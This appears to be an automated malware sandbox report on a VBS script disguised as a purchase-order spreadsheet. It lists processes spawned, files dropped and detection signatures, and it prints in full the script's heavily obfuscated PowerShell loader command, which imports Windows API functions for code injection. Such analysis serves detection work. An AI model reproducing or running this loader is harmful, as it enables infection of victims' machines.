begnaesothjcamlrgibupsarmagconre(skibanrathe komekutalla,stiauncetet trgmagpyeunganufi)wo;ub[ubdcalexlstiromcipreocardyttr(se`"""cakdiesarsenplemalbi3tr2si`"""tr)be]jopbruyabsolauilacdi disljtskaemttuiovcbe aterexsttdreatrfonwe fliunnpattapsttverar saepinlsumemunshayabsdotasetumspldroadcvoasllstedksbawsa(rausviopnaltko mevpe1du,moiunnheter plvsn2ta)du;he[cadfolgylraiecmarpanobrrqutfe(li`"""sykbaeskravnkaemilsk3mo2de`"""di)fa]prpcoubebanlafihycun alshjthyadrtmiiuncpi ceestxkytkaealrkonac ariblncatse hugsilpsosebefapllemdmaesalheesatbreprasmtguofimun(puiaenfotdr teptrrtlede1to5sa1co)sk;ha[badevleultridemhopsaofarnottr(ca`"""akgpidplifi3sc2re`"""aa)da]sapekuapbtalreihacpr nosoptsrasktstisqcak eneaaxsptfoetardensp arisenovtbe flsfotenrunoaeksheboablntadpafgeisolanlblposaavtunhpr(diiddnartkl acekrtluhwiyunlhj8bl7du)bi;qu[nodkrlunlekiapmempsyoinrgltcy(sa`"""seumospeeafrpa3bl2in`"""ko)un]jrpdiurebsklnoisncsc spsfutstasetfaiklcme ueedexudtcoeunrjanst ininonfltrh grcinlskoinsbiepycdalsuimopetbenotaatarbedpa(ku)un;yn[chdagllrloticamcopsaoghrmatba(sp`"""pawtriarnresgapdeoanosplti.brdexrobvsp`"""un)dr]oppheuinbunlceicocst unssetceafotdiistcme stepaxwatlaebrrrenov paistncotru plsencluhteenodtrutaldaedrjmaoprbtr(beitynoltkl knufanafokovcoestrel2br2kl6re,ininonretko piamikwetstiwa)mu;dd[afdunlsllspivomrepnootrrchtol(cy`"""geaandprvegalipseifo3sp2re.rydovlajlre`"""do)st]typnaurabmelpoilocbu plsfitmiapatscipecta diestxbotdrehurmenal mlifanbltci trqmoufaeerraryvoshaekorkrvtsileckuefacudoafnprfliisughe(muifonpitho prrtheengofleseatrfi,liiinngrtfu opcenogasac0ti,baiminsttsh grddrispsdepreoovssu,coirintatin nonpearupunhleoer2ho7no)mo;un[indhalafluviafmcoppaospruntto(co`"""irwalisknmisovppeonooaalre.sldmorklvfo`"""st)se]copfoucrbbilopiskcsk kasovtblaantfriomcma unesuxenttrelyrdenbe veifonritca hadciouncgruremdremunwetsepfirslolippaevkrputiniteeensve(boiaanlitwo wifuvotarbesat,foivennitsa grlsuanonusgsorbeesi,foiyunmitou stsobkrerheisevtv,frigantetto buhghekamex,waialnantan messearhmerbduagrftu,seislnuntex morreesitspiau)fr;dr[whdamlrelku
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$saudiarabiske = """koaeldmedpo-cetphysuplneph eg-frtfoycepspegrdteefafsairenspipltseiufoslnra je'drublsliiminingax ajsmoyteszatinenemug;spulesunisonungmu trspoyelsinthaekomtr.svrkiuhenhategisimkaesh.moicanpitoxeterstofeptesareefrskvfoishcgaebesfo;fopkoubabselstihoclv masafttrarutseibecad mecvelsaaxysausbr ostsehliwbuakorhutabnbeebesbusun1ce sa{tr[madanlomlspivemarpsuoseruttfr(st`"""peaundoovedastpunifo3nd2la.cudgelrulci`"""cl)bl]brpasuvibbolisiudcwa unsbetsuaimtafifucbi haeslxtotboetjrsunkt reivinsottu spgreeaftudsovelarudvcoivactieskkstesaycininawempreta(noinongrtco omnanotaymoicaspllma,griapnintal alssellagsptsm6pe9fo,biiurnbetpi kraisffifliainlpo,maibenmottr asbteagaglaany)ma;sc[sodchldelngigommiptiovarkutpa(sa`"""skgwhdboise3vi2pe`"""sn)ka]bepkrurabkllibifecsl fosbetadaartgrihvcem drehaxsatseeasrbrnda aaiafnlotov begnaesothjcamlrgibupsarmagconre(skibanrathe komekutalla,stiauncetet trgmagpyeunganufi)wo;ub[ubdcalexlstiromcipreocardyttr(se`"""cakdiesarsenplemalbi3tr2si`"""tr)be]jopbruyabsolauilacdi disljtskaemttuiovcbe aterexsttdreatrfonwe fliunnpattapsttverar saepinlsumemunshayabsdotasetumspldroadcvoasllstedksbawsa(rausviopnaltko mevpe1du,moiunnheter plvsn2ta)du;he[cadfolgylraiecmarpanobrrqutfe(li`"""sykbaeskravnkaemilsk3mo2de`"""di)fa]prpcoubebanlafihycun alshjthyadrtmiiuncpi ceestxkytkaealrkonac ariblncatse hugsilpsosebefapllemdmaesalheesatbreprasmtguofimun(puiaenfotdr teptrrtlede1to5sa1co)sk;ha[badevleultridemhopsaofarnottr(ca`"""akgpidplifi3sc2re`"""aa)da]sapekuapbtalreihacpr nosoptsrasktstisqcak eneaaxsptfoetardensp arisenovtbe flsfotenrunoaeksheboablntadpafgeisolanlblposaavtunhpr(diiddnartkl acekrtluhwiyunlhj8bl7du)bi;qu[nodkrlunlekiapmempsyoinrgltcy(sa`"""seumospeeafrpa3bl2in`"""ko)un]jrpdiurebsklnoisncsc spsfutstasetfaiklcme ueedexudtcoeunrjanst ininonfltrh grcinlskoinsbiepycdalsuimopetbenotaatarbedpa(ku)un;yn[chdagllrloticamcopsaoghrmatba(sp`"""pawtriarnresgapdeoanosplti.brdexrobvsp`"""un)dr]oppheuinbunlceicocst unssetceafotdiistcme stepaxwatlaebrrrenov paistncotru plsencluhteenodtrutaldaedrjmaoprbtr(beitynoltkl knufanafokovcoestrel2br2kl6re,ininonretko piamikwetstiwa)mu;dd[afdunlsllspivomrepnootrrchtol(cy`"""geaandprvegalipseifo3sp2re.rydovlajlre`"""do)st]typnaurabmelpoilocbu plsfitmiapatscipecta diestxbotdrehurmenal mlifanbltci trqmoufaeerraryvoshaekorkrvtsileckuefacudoafnprfliisughe(muifonpitho prrtheengofleseatrfi,liiinngrtfu opcenogasac0ti,baiminsttsh grddrispsdepreoovssu,coirintatin nonpearupunhleoer2ho7no)mo;un[indhalafluviafmcoppaospruntto(co`"""irwalisknmisovppeonooaalre.sldmorklvfo`"""st)se]copfoucrbbilopiskcsk kasovtblaantfriomcma unesuxenttrelyrdenbe veifonritca hadciouncgruremdremunwetsepfirslolippaevkrputiniteeensve(boiaanlitwo wifuvotarbesat,foivennitsa grlsuanonusgsorbeesi,foiyunmitou stsobkrerheisevtv,frigantetto buhghekamex,waialnantan messearhmerbduagrftu,seislnuntex morreesitspiau)fr;dr[whdamlrelku Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Saudiarabiske = """KoAEldMedPo-CeTphySupLnePh Eg-FrTFoyCepspeGrDTeefafSaiRenSpiPltSeiUfoSlnRa Je'DruBlsLiiMinIngAx AjSmoyTesZatIneNemUg;SpuLesUniSonUngMu TrSPoyelsIntHaeKomTr.SvRKiuHenHatEgiSimKaeSh.MoICanPitOxeterStoFepTeSAreEfrSkvFoishcGaeBesFo;FopKouBabSelStihocLv MasAftTraRutSeiBecad MecVelSaaXysAusBr OsTSehLiwBuaKorHutAbnBeeBesBusUn1Ce Sa{Tr[MaDAnlOmlSpIVemArpSuoSerUttFr(St`"""PeAUnDOoVEdAStPunIFo3Nd2La.cuDGeLruLCi`"""Cl)Bl]BrpasuVibBolIsiudcWa UnsBetSuaImtAfiFucBi HaeSlxTotboeTjrSunKt reiVinSotTu SpGReeAftUdSoveLarUdvCoiVacTieSkKSteSayCiNInaWempreTa(NoiNongrtCo OmNAnoTayMoiCasPllMa,GriApnIntAl AlSSelLagSptSm6Pe9Fo,BiiUrnBetPi KrAIsfFifLiainlPo,maiBenMotTr AsbTeaGagLaaNy)Ma;Sc[SoDChlDelNgIGomMiptioVarkutPa(Sa`"""SkgWhdBoiSe3Vi2Pe`"""Sn)Ka]BepKruRabKllIbiFecSl FosBetAdaArtGriHvcEm DreHaxSatSeeAsrBrnDa AaiafnLotOv BeGNaeSotHjCamlRgiBupSaRmagConRe(SkiBanRatHe KoMEkuTalLa,StiaunCetEt TrGMagpyeUngAnuFi)Wo;Ub[UbDCalExlStIRomCipReoCarDytTr(Se`"""cakDieSarSenPleMalbi3Tr2si`"""Tr)Be]JopBruYabSolAuiLacDi DisLjtSkaEmtTuiOvcBe AterexSttDreAtrFonWe FlIUnnpatTaPsttVerAr SaEpinLsuMemUnSHayAbsDotaseTumSpLDroAdcVoaSllSteDksBaWSa(RauSviOpnAltko MevPe1du,MoiUnnHeter PlvSn2Ta)Du;He[CaDFolGylRaIEcmArpAnoBrrQutFe(Li`"""SykBaeskravnKaeMilSk3Mo2de`"""Di)Fa]PrpCouBebAnlAfiHycUn AlsHjtHyaDrtMiiUncPi CeeStxKytKaeAlrKonac ariBlnCatse HuGSilPsoSebEfaPllEmDMaeSalHeeSatBreprASmtGuoFimUn(PuiAenFotDr TePTrrtleDe1To5Sa1Co)Sk;ha[BaDEvlEulTrIDemHopSaoFarNotTr(Ca`"""AkgPidPliFi3Sc2Re`"""Aa)Da]SapEkuApbTalReiHacPr NosoptSraSktStiSqcAk EneAaxSptFoeTarDenSp AriSenOvtBe FlSFotEnrunoAekSheBoABlnTadPaFGeiSolAnlblPOsaAvtunhPr(DiiDdnArtKl AcEKrtLuhWiyUnlHj8Bl7Du)Bi;Qu[NoDKrlUnlEkIApmEmpSyoinrGltCy(Sa`"""seuMosPeeafrPa3Bl2In`"""Ko)Un]JrpdiuRebSklNoiSncSc SpsFutstaSetFaiklcMe UeeDexUdtCoeUnrJanSt iniNonFltRh GrCInlSkoInsBiePyCDalSuiMopEtbEnoTaaTarBedPa(Ku)Un;Yn[ChDAglLrlOtICamCopSaoGhrmatBa(Sp`"""PawTriArnResGapDeoAnoSplTi.BrdExrObvSp`"""Un)Dr]OppHeuInbUnlCeiCocSt UnsSetCeaFotDiistcMe StePaxwatlaeBrrRenOv PaiStnCotRu PlSEncLuhTeeNodTrutalDaedrJMaoPrbTr(BeitynOltkl KnUFanAfoKovCoeStrEl2Br2Kl6Re,IniNonRetKo PiaMikWetStiWa)Mu;Dd[AfDUnlSllspIVomRepNooTrrChtOl(Cy`"""GeAAnDPrVEgALiPSeIFo3Sp2Re.RyDOvLAjLRe`"""Do)St]TypNauRabMelPoilocBu PlsFitMiapatSciPecTa DieStxBotDreHurmenAl MliFanBltCi TrQMouFaeErrAryVoSHaeKorKrvTsiLecKueFaCudoAfnPrfliiSugHe(MuiFonpitHo prRTheEngoflEseatrFi,LiiInnGrtFu opCEnogasAc0Ti,BaiMinSttSh GrDDriSpsDepreoOvsSu,CoiRinTatIn NoNPeaRupUnhLeoEr2Ho7No)Mo;Un[InDHalaflUvIAfmCoppaosprUntTo(Co`"""IrwaliSknMisOvpPeoNooAalRe.SldMorKlvFo`"""St)Se]CopFouCrbBilOpiSkcSk KasOvtBlaantFriOmcMa UneSuxEntTreLyrDenBe VeiFonRitCa haDCioUncGruRemDreMunWetSePFirSloLipPaeVkrPutIniTeeEnsVe(BoiAanLitWo WiFUvoTarBesat,FoiVenNitsa GrLSuaNonUsgSorBeeSi,FoiYunMitOu StSObkRerHeisevTv,FriGanTetTo BuhGheKamEx,waiAlnAntAn MeSSeaRhmErbDuaGrfTu,SeiSlnuntEx MoRReesitSpiau)Fr;Dr[WhDamlRelku Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ksa1shoc\ksa1shoc.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES41DE.tmp" "c:\Users\user\AppData\Local\Temp\ksa1shoc\CSC45555F46326F41418DCB1F5062A9163A.TMP" Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
windows-stand
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Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 755440 Sample: PO-09784893 xlsx.vbs Startdate: 28/11/2022 Architecture: WINDOWS Score: 84 29 Malicious sample detected (through community Yara rule) 2->29 31 Sigma detected: Dot net compiler compiles file from suspicious location 2->31 33 Potential malicious VBS script found (suspicious strings) 2->33 35 Potential evasive VBS script found (use of timer() function in loop) 2->35 8 wscript.exe 1 1 2->8         started        process3 signatures4 37 VBScript performs obfuscated calls to suspicious functions 8->37 39 Wscript starts Powershell (via cmd or directly) 8->39 41 Obfuscated command line found 8->41 43 Very long command line found 8->43 11 powershell.exe 21 8->11         started        14 cmd.exe 1 8->14         started        process5 file6 27 C:\Users\user\AppData\...\ksa1shoc.cmdline, Unicode 11->27 dropped 16 csc.exe 3 11->16         started        19 conhost.exe 11->19         started        21 conhost.exe 14->21         started        process7 file8 25 C:\Users\user\AppData\Local\...\ksa1shoc.dll, PE32 16->25 dropped 23 cvtres.exe 1 16->23         started        process9
⊘No contacted IP infos